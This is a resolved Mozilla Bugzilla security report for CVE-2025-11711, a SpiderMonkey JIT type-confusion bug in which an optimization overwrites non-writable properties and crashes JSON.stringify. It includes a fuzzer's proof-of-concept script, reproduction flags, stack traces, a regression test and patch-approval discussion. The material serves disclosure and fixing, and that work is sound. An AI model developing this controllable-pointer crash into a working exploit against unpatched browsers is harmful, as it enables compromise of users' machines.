Closed Bug 1989978 (CVE-2025-11711) Opened 7 months ago Closed 7 months ago

Segmentation fault in JSON.stringify

Categories

(Core :: JavaScript Engine, defect, P1)

defect

Tracking

()

RESOLVED FIXED
145 Branch
Tracking Status
firefox-esr115 144+ fixed
firefox-esr140 144+ fixed
firefox143 --- wontfix
firefox144 + fixed
firefox145 + fixed

People

(Reporter: 2628388509, Assigned: iain)

References

(Blocks 2 open bugs, Regression)

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main144+][adv-esr140.4+][adv-esr115.29+])

Attachments

(6 files, 2 obsolete files)

48 bytes, text/x-phabricator-request
Details | Review
48 bytes, text/x-phabricator-request
Details | Review
48 bytes, text/x-phabricator-request
Details | Review
48 bytes, text/x-phabricator-request
Details | Review
48 bytes, text/x-phabricator-request
Details | Review
175 bytes, text/plain
Details

Hello, my fuzzer found a bug related to JSON.stringify in SpiderMonkey. The OS is Ubuntu 22.04 on a X86 machine.

The commit id of Firefox is 767c44c1cde821258288378998f4bb481bec8908.

poc1.js:

function opt(a) {
    for (const it in a) {
        a[it] = 5;
    }
}
const obj = JSON.rawJSON(256n, 256n, opt);
for (let i = 0; i < 100; i++) {
    opt(obj);
}
JSON.stringify(obj);

Reproduce Steps:

  1. Compile SpiderMonkey: ./mach build
  2. Run args: ./js --no-threads --ion-warmup-threshold=100 poc1.js

Result:
Segmentation fault (core dumped)

In js/src/builtin/JSON.cpp

static bool FastSerializeJSONProperty(JSContext* cx, Handle<Value> v,
                                      StringifyContext* scx,
                                      BailReason* whySlow) {
  MOZ_ASSERT(*whySlow == BailReason::NO_REASON);
  MOZ_ASSERT(v.isObject());

  if (JSString* rawJSON = MaybeGetRawJSON(cx, &v.toObject())) {
    return scx->sb.append(rawJSON);
  }

The value of rawJSON is 0x3800000000005 which is an invalid address. I noticed that this address can be changed by modifying poc1.js.
If a[it] =1 in opt function in poc1.js, the value of rawJSON is 0x3800000000001.
I believe this is a very dangerous behavior, so I quickly reported the issue.

Stack Trace:
(lldb) run
Process 2469463 launched: './firefox_validate/obj-x86_64-pc-linux-gnu/dist/bin/js' (x86_64)
Process 2469463 stopped

  • thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
    frame #0: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34
    665 }
    666
    667 MOZ_ALWAYS_INLINE
    -> 668 bool isLinear() const { return flags() & LINEAR_BIT; }
    669
    670 MOZ_ALWAYS_INLINE
    671 JSLinearString& asLinear() const {
    Target 0: (js) stopped.
    (lldb) bt
  • thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
    • frame #0: 0x0000555556d250b9 jsjs::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34 frame #1: 0x0000555556d250b9 jsjs::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::ensureLinear(this=0x0003800000000005, cx=<unavailable>) at StringType.h:2432:10
      frame #2: 0x0000555556d250b9 jsjs::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] js::StringBuilder::append(this=0x00007fffffffcb88, str=0x0003800000000005) at StringBuilder.h:516:33 frame #3: 0x0000555556d250b9 jsjs::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) at JSON.cpp:1204:20
      frame #4: 0x0000555556d2503b jsjs::Stringify(cx=0x00007ffff6833100, vp=JS::MutableHandleValue @ r13, replacer_=<unavailable>, space_=0x00007fffffffcb48, sb=0x00007fffffffcb88, stringifyBehavior=Normal) at JSON.cpp:1645:12 frame #5: 0x0000555556d27c92 jsjson_stringify(cx=0x00007ffff6833100, argc=<unavailable>, vp=0x00007fffffffd040) at JSON.cpp:2090:8
      frame #6: 0x0000555556cd5a83 jsjs::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) [inlined] CallJSNative(cx=0x00007ffff6833100, native=(jsjson_stringify(JSContext*, unsigned int, JS::Value*) at JSON.cpp:2074), reason=<unavailable>, args=0x00007fffffffcde8) at Interpreter.cpp:501:13
      frame #7: 0x0000555556cd59bb jsjs::InternalCallOrConstruct(cx=0x00007ffff6833100, args=0x00007fffffffcde8, construct=<unavailable>, reason=<unavailable>) at Interpreter.cpp:597:12 frame #8: 0x0000555556cd618e jsjs::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) [inlined] InternalCall(cx=<unavailable>, args=<unavailable>, reason=<unavailable>) at Interpreter.cpp:664:10 [artificial]
      frame #9: 0x000055555732f08c jsjs::jit::DoCallFallback(cx=0x00007ffff6833100, frame=0x00007fffffffd098, stub=0x00007ffff6811ef8, argc=<unavailable>, vp=<unavailable>, res=JS::MutableHandleValue @ 0x00007fffffffcd58) at BaselineIC.cpp:1695:10 frame #10: 0x00002eb3641e98c4 frame #11: 0x00002eb3641ef546 frame #12: 0x00002eb3642080a6 frame #13: 0x00002eb3641e74e6 frame #14: 0x00005555574d6656 jsjs::jit::EnterBaselineInterpreterAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) at BaselineJIT.cpp:145:5
      frame #15: 0x00005555574d65b6 jsjs::jit::EnterBaselineInterpreterAtBranch(cx=<unavailable>, fp=<unavailable>, pc=<unavailable>) at BaselineJIT.cpp:201:26 frame #16: 0x0000555556ce289d jsjs::Interpret(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:2047:17
      frame #17: 0x0000555556cd566b jsjs::RunScript(JSContext*, js::RunState&) [inlined] MaybeEnterInterpreterTrampoline(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:395:10 frame #18: 0x0000555556cd553b jsjs::RunScript(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:471:13
      frame #19: 0x0000555556cd6cfb jsjs::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) [inlined] js::ExecuteKernel(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChainArg=JS::HandleObject @ r15, evalInFrame=(ptr_ = 0), result=JS::MutableHandleValue @ r14) at Interpreter.cpp:862:13 frame #20: 0x0000555556cd6cbc jsjs::Execute(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChain=JS::HandleObject @ r15, rval=JS::MutableHandleValue @ r14) at Interpreter.cpp:895:10
      frame #21: 0x0000555556d82f62 jsExecuteScript(cx=<unavailable>, envChain=<unavailable>, script=<unavailable>, rval=<unavailable>) at CompilationAndEvaluation.cpp:548:10 [artificial] frame #22: 0x0000555556d8304d jsJS_ExecuteScript(cx=<unavailable>, scriptArg=<unavailable>) at CompilationAndEvaluation.cpp:572:10
      frame #23: 0x0000555556c84c78 jsRunFile(cx=0x00007ffff6833100, filename="poc1.js", file=<unavailable>, compileMethod=<unavailable>, compileOnly=false, fullParse=false) at js.cpp:1315:10 frame #24: 0x0000555556c84835 jsProcess(cx=0x00007ffff6833100, filename="poc1.js", forceTTY=false, kind=FileScript) at js.cpp:0
      frame #25: 0x0000555556c6004a jsShell(JSContext*, js::cli::OptionParser*) at js.cpp:12019:10 frame #26: 0x0000555556c5f80b jsShell(cx=0x00007ffff6833100, op=0x00007fffffffddc8) at js.cpp:12272:12
      frame #27: 0x0000555556c57026 jsmain(argc=<unavailable>, argv=<unavailable>) at js.cpp:12675:12 frame #28: 0x00007ffff7a52d90 libc.so.6__libc_start_call_main(main=(jsmain at js.cpp:12501), argc=4, argv=0x00007fffffffe028) at libc_start_call_main.h:58:16 frame #29: 0x00007ffff7a52e40 libc.so.6__libc_start_main_impl(main=(jsmain at js.cpp:12501), argc=4, argv=0x00007fffffffe028, init=<unavailable>, fini=<unavailable>, rtld_fini=<unavailable>, stack_end=0x00007fffffffe018) at libc-start.c:392:3 frame #30: 0x0000555556c4fd69 js_start + 41
Flags: sec-bounty?

I found the stack trace to be somewhat confusing, so I submitted a revised version in the comments.

Stack Trace:

(lldb) run
Process 2547511 launched: './firefox_validate/obj-x86_64-pc-linux-gnu/dist/bin/js' (x86_64)
Process 2547511 stopped
* thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
    frame #0: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34
   665    }
   666 
   667    MOZ_ALWAYS_INLINE
-> 668    bool isLinear() const { return flags() & LINEAR_BIT; }
   669 
   670    MOZ_ALWAYS_INLINE
   671    JSLinearString& asLinear() const {
Target 0: (js) stopped.
(lldb) bt
* thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
  * frame #0: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34
    frame #1: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::ensureLinear(this=0x0003800000000005, cx=<unavailable>) at StringType.h:2432:10
    frame #2: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] js::StringBuilder::append(this=0x00007fffffffcb88, str=0x0003800000000005) at StringBuilder.h:516:33
    frame #3: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) at JSON.cpp:1204:20
    frame #4: 0x0000555556d2503b js`js::Stringify(cx=0x00007ffff6833100, vp=JS::MutableHandleValue @ r13, replacer_=<unavailable>, space_=0x00007fffffffcb48, sb=0x00007fffffffcb88, stringifyBehavior=Normal) at JSON.cpp:1645:12
    frame #5: 0x0000555556d27c92 js`json_stringify(cx=0x00007ffff6833100, argc=<unavailable>, vp=0x00007fffffffd040) at JSON.cpp:2090:8
    frame #6: 0x0000555556cd5a83 js`js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) [inlined] CallJSNative(cx=0x00007ffff6833100, native=(js`json_stringify(JSContext*, unsigned int, JS::Value*) at JSON.cpp:2074), reason=<unavailable>, args=0x00007fffffffcde8) at Interpreter.cpp:501:13
    frame #7: 0x0000555556cd59bb js`js::InternalCallOrConstruct(cx=0x00007ffff6833100, args=0x00007fffffffcde8, construct=<unavailable>, reason=<unavailable>) at Interpreter.cpp:597:12
    frame #8: 0x0000555556cd618e js`js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) [inlined] InternalCall(cx=<unavailable>, args=<unavailable>, reason=<unavailable>) at Interpreter.cpp:664:10 [artificial]
    frame #9: 0x000055555732f08c js`js::jit::DoCallFallback(cx=0x00007ffff6833100, frame=0x00007fffffffd098, stub=0x00007ffff6812af8, argc=<unavailable>, vp=<unavailable>, res=JS::MutableHandleValue @ 0x00007fffffffcd58) at BaselineIC.cpp:1695:10
    frame #10: 0x000020a32bfc08c4
    frame #11: 0x000020a32bfc6546
    frame #12: 0x000020a32bfdf0a6
    frame #13: 0x000020a32bfbe4e6
    frame #14: 0x00005555574d6656 js`js::jit::EnterBaselineInterpreterAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) at BaselineJIT.cpp:145:5
    frame #15: 0x00005555574d65b6 js`js::jit::EnterBaselineInterpreterAtBranch(cx=<unavailable>, fp=<unavailable>, pc=<unavailable>) at BaselineJIT.cpp:201:26
    frame #16: 0x0000555556ce289d js`js::Interpret(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:2047:17
    frame #17: 0x0000555556cd566b js`js::RunScript(JSContext*, js::RunState&) [inlined] MaybeEnterInterpreterTrampoline(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:395:10
    frame #18: 0x0000555556cd553b js`js::RunScript(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:471:13
    frame #19: 0x0000555556cd6cfb js`js::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) [inlined] js::ExecuteKernel(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChainArg=JS::HandleObject @ r15, evalInFrame=(ptr_ = 0), result=JS::MutableHandleValue @ r14) at Interpreter.cpp:862:13
    frame #20: 0x0000555556cd6cbc js`js::Execute(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChain=JS::HandleObject @ r15, rval=JS::MutableHandleValue @ r14) at Interpreter.cpp:895:10
    frame #21: 0x0000555556d82f62 js`ExecuteScript(cx=<unavailable>, envChain=<unavailable>, script=<unavailable>, rval=<unavailable>) at CompilationAndEvaluation.cpp:548:10 [artificial]
    frame #22: 0x0000555556d8304d js`JS_ExecuteScript(cx=<unavailable>, scriptArg=<unavailable>) at CompilationAndEvaluation.cpp:572:10
    frame #23: 0x0000555556c84c78 js`RunFile(cx=0x00007ffff6833100, filename="poc1.js", file=<unavailable>, compileMethod=<unavailable>, compileOnly=false, fullParse=false) at js.cpp:1315:10
    frame #24: 0x0000555556c84835 js`Process(cx=0x00007ffff6833100, filename="poc1.js", forceTTY=false, kind=FileScript) at js.cpp:0
    frame #25: 0x0000555556c6004a js`Shell(JSContext*, js::cli::OptionParser*) at js.cpp:12019:10
    frame #26: 0x0000555556c5f80b js`Shell(cx=0x00007ffff6833100, op=0x00007fffffffddc8) at js.cpp:12272:12
    frame #27: 0x0000555556c57026 js`main(argc=<unavailable>, argv=<unavailable>) at js.cpp:12675:12
    frame #28: 0x00007ffff7a52d90 libc.so.6`__libc_start_call_main(main=(js`main at js.cpp:12501), argc=4, argv=0x00007fffffffe028) at libc_start_call_main.h:58:16
    frame #29: 0x00007ffff7a52e40 libc.so.6`__libc_start_main_impl(main=(js`main at js.cpp:12501), argc=4, argv=0x00007fffffffe028, init=<unavailable>, fini=<unavailable>, rtld_fini=<unavailable>, stack_end=0x00007fffffffe018) at libc-start.c:392:3
    frame #30: 0x0000555556c4fd69 js`_start + 41
Group: firefox-core-security → core-security
Component: Security → JavaScript Engine
Product: Firefox → Core
Group: core-security → javascript-core-security
Summary: Segmentation fault in JSON.stringigy in SpiderMonkey. → Segmentation fault in JSON.stringify

Good find, thanks for the report! It looks like the StoreSlotByIteratorIndex optimization can incorrectly mutate non-writable data properties. The JSON code depends on the rawJSON property not changing, because it's defined non-writable and non-configurable.

Here's a similar test that doesn't use JSON:

// Fails with --no-threads, passes with --no-ion
function opt(a) {
  for (const it in a) {
    a[it] = 5;
  }
}
const obj = {};
Object.defineProperty(obj, "x", {value: 1, enumerable: true, writable: false});
for (let i = 0; i < 2000; i++) {
  opt(obj);
}
assertEq(obj.x, 1);

We should also make sure we handle fuse properties correctly.

Flags: needinfo?(iireland)
Status: UNCONFIRMED → NEW
Ever confirmed: true
Severity: -- → S3
Priority: -- → P1

The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:sdetar, could you consider increasing the severity of this security bug?

For more information, please visit BugBot documentation.

Flags: needinfo?(sdetar)
Severity: S3 → S2
Flags: needinfo?(sdetar)
Attached file (secure)
Assignee: nobody → iireland
Status: NEW → ASSIGNED
Attached file (secure)
Attached file (secure) (obsolete) —

Comment on attachment 9515387 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Relatively difficult. The patch points at writable properties and fuses, but actually exploiting the bug requires spotting an assumption in JSON.stringify, which is not mentioned anywhere in the patch.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: All
  • If not all supported branches, which bug introduced the flaw?: Bug 1815503
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?: I think this patch should apply cleanly. (There might be a spurious conflict in the #include list, but if so it should be trivial to resolve.)
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely; it only disables an optimization.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Flags: needinfo?(iireland)
Attachment #9515387 - Flags: sec-approval?
Keywords: regression
Regressed by: 1815503

Set release status flags based on info from the regressing bug 1815503

Comment on attachment 9515387 [details]
(secure)

Approved to land and request uplift

Attachment #9515387 - Flags: sec-approval? → sec-approval+
Whiteboard: [client-bounty-form] → [client-bounty-form][reminder-test 2025-11-25]

firefox-beta Uplift Approval Request

  • User impact if declined: Potentially exploitable type confusion
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This disables an optimization.
  • String changes made/needed: None.
  • Is Android affected?: yes
Attachment #9516633 - Flags: approval-mozilla-beta?
Attached file (secure)

firefox-release Uplift Approval Request

  • User impact if declined: Potentially exploitable type confusion
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Disables an optimization
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9516634 - Flags: approval-mozilla-release?
Attached file (secure) (obsolete) —

firefox-esr140 Uplift Approval Request

  • User impact if declined: Potentially exploitable type confusion
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Disables an optimization.
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9516635 - Flags: approval-mozilla-esr140?
Attached file (secure)

firefox-esr115 Uplift Approval Request

  • User impact if declined: Potentially exploitable type confusion
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Disables an optimization
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9516636 - Flags: approval-mozilla-esr115?
Attached file (secure)
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 145 Branch
Attachment #9516633 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9516634 - Attachment is obsolete: true
Attachment #9516634 - Flags: approval-mozilla-release?
Attachment #9516635 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Attachment #9516636 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+

Backed out from esr115 for causing build bustages @ Iteration.cpp

Flags: needinfo?(iireland)
QA Whiteboard: [sec] [uplift] [qa-triage-done-c145/b144]

Only half the patch is relevant to ESR115. I removed the other half of the patch. It's ready to reland.

Flags: needinfo?(iireland)
Flags: sec-bounty? → sec-bounty+
Whiteboard: [client-bounty-form][reminder-test 2025-11-25] → [client-bounty-form][reminder-test 2025-11-25][adv-main144+r][adv-esr140.4+r]
Whiteboard: [client-bounty-form][reminder-test 2025-11-25][adv-main144+r][adv-esr140.4+r] → [client-bounty-form][reminder-test 2025-11-25][adv-main144+][adv-esr140.4+]
Whiteboard: [client-bounty-form][reminder-test 2025-11-25][adv-main144+][adv-esr140.4+] → [client-bounty-form][reminder-test 2025-11-25][adv-main144+][adv-esr140.4+][adv-esr115.29+]
Attached file advisory.txt
Alias: CVE-2025-11711

a month ago, tjr placed a reminder on the bug using the whiteboard tag [reminder-test 2025-11-25] .

iain, please refer to the original comment to better understand the reason for the reminder.

Flags: needinfo?(iireland)
Whiteboard: [client-bounty-form][reminder-test 2025-11-25][adv-main144+][adv-esr140.4+][adv-esr115.29+] → [client-bounty-form][adv-main144+][adv-esr140.4+][adv-esr115.29+]
Flags: needinfo?(iireland)
Attachment #9515515 - Attachment is obsolete: true
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: